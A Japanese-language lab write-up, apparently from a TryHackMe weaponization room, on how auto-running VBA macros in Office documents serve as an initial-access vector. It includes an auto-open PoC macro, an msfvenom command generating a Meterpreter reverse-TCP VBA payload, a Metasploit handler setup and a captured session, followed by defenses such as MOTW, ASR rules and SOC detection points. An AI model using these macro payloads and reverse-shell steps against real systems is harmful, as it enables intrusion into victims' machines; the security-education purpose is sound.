1. VBA とは何か
VBA(Visual Basic for Applications) は、Microsoft が提供する Office 製品向けの組み込みプログラミング言語です。Word、Excel、PowerPoint などに統合されており、キーボード操作やマウス操作、文書処理を自動化できます。
本来の用途は業務効率化です。例えば:
- 定型レポートの自動生成
- データ整形や計算の自動化
- 文書の一括編集・チェック
しかし、アプリケーション内部でコードが実行できるという強力さは、同時にセキュリティリスクにもなります。
2. マクロの基本構造
Office では、VBA コードを マクロ として文書内に保存できます。
マクロはユーザー操作で実行できるほか、特定のイベントに紐づけて自動実行することも可能です。
代表的なイベント例:
-
AutoOpen:文書を開いた直後 -
Document_Open:ドキュメントが読み込まれた際
この「文書を開いただけでコードが走る」仕組みが、攻撃者にとって魅力的なポイントになります。
Sub Document_Open()
TK
End Sub
Sub AutoOpen()
TK
End Sub
Sub TK()
MsgBox ("Welcome to Weaponization Room!")
End Sub
Sub PoC()
Dim payload As String
payload = "calc.exe"
CreateObject("Wscript.Shell").Run payload,0
End Sub
3. なぜ VBA マクロは攻撃に悪用されるのか
攻撃者が VBA マクロを好む理由は、以下の性質にあります。
3.1 ユーザー操作をトリガーにできる
多くの場合、ユーザーは
「この文書を正しく表示するにはマクロを有効にしてください」
という警告を目にします。
業務文書を装えば、ユーザー自身に“実行許可”を与えさせることが可能です。
3.2 OS 機能と連携できる
VBA からは、Windows のスクリプト環境や API と連携できます。
これにより、外部プログラムの起動・通信・ファイル操作といった動作が理論上可能になります。
重要:
VBA マクロ単体で検知を回避できるわけではありません。
実際の攻撃では、複数の技術(スクリプト実行、メモリ操作、通信手法など)が組み合わされます。
4. 攻撃チェーンにおける VBA の位置づけ
セキュリティの観点では、VBA マクロは 侵入の初期段階(Initial Access) に使われることが多いです。
典型的な流れ(概念):
- メール等で Office 文書を配布
- ユーザーが開き、マクロを有効化
- VBA がトリガーとなり、次の段階の処理へ進む
ここで重要なのは、VBA は“入口”であり、最終目的ではないという点です。
5. msfvenom/Metasploit の例
5.1 msfvenomでVBA マクロの生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.67.101.104 LPORT=443 -f vba
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of vba file: 2764 bytes
...
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
インポート時に注意すべき点として、この関数を動作させるには1つ変更が必要です。出力はMS Excelシートで動作します。そのため、Workbook_Open()をDocument_Open()に変更して、MS Word文書に適した形式にしてください。
5.2 Metasploit の設定
msfconsole -q
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.
msf6 >
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.67.101.104
LHOST => 10.67.101.104
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.67.101.104:443
5.3 配布段階
Office 文書にマクロが埋め込まれる。
5.4 トリガー
文書オープン時イベント(例:自動実行イベント)でマクロが起動。
5.5 ローダー役割
マクロは次段処理を呼び出す“橋渡し”を担う。
5.6 メモリ常駐処理
ディスク書き込みを極力避け、実行状態を維持しようとする。
5.7 通信
外部との通信が確立され、遠隔操作に至る(※ここで多くが検知)。
[*] Sending stage (177734 bytes) to 10.67.179.185
[*] Meterpreter session 1 opened (10.67.101.104:443 -> 10.67.179.185:50430) at 2026-02-02 07:16:06 +0000
meterpreter > dir
Listing: C:\Users\thm\Documents
===============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxr 0 dir 2026-02-02 06:44:25 +000 Custom Office Templates
6. 現代環境での現実:簡単には通らない
Microsoft もこのリスクを強く認識しており、近年の Windows / Office 環境では防御が大幅に強化されています。
6.1 マクロの既定ブロック
- インターネット由来の Office ファイルは 既定でマクロ無効
- 「Mark of the Web(MOTW)」が付与されると、実行が制限される
6.2 ASR(Attack Surface Reduction)ルール
代表例:
- Office から子プロセスを起動させない
- Office からのコード注入を防止
- スクリプト実行エンジンの乱用を抑止
これにより、
「マクロは有効化されたが、次の動作で止められる」
というケースが非常に多くなっています。
7. 防御・検知の実務ポイント
7.1 組織側の対策
- 署名付きマクロのみ許可
- 不要な Office マクロを原則禁止
- ASR / EDR を有効化
7.2 SOC / Blue Team 視点の検知
注目ポイント:
- Office プロセスが 異常な子プロセスを生成していないか
- ユーザー操作直後の不自然な挙動
- 文書を開いた直後に発生する通信や権限変更
8. 学習者が押さえるべき本質
VBA マクロ学習のゴールは、
「攻撃を再現できること」
ではありません。
本質は次の 3 点です:
- なぜ VBA が入口として使われるのか
- どの防御が、どの段階で効くのか
- なぜ“昔の手法”が今は通りにくいのか
ここを理解できれば、
- マルウェア分析
- EDR アラートの読解
- セキュリティ設計の説明
すべてに応用できます。
まとめ
- VBA は本来、業務効率化のための強力な自動化ツール
- その強力さゆえ、文書を起点とした攻撃で長年悪用されてきた
- しかし現代の環境では、多層防御により単純なマクロ攻撃は成立しにくい
- 重要なのは「手順」ではなく「構造と防御の理解」
VBA を学ぶことは、
“なぜ防御がそう設計されているのか”を理解する近道です。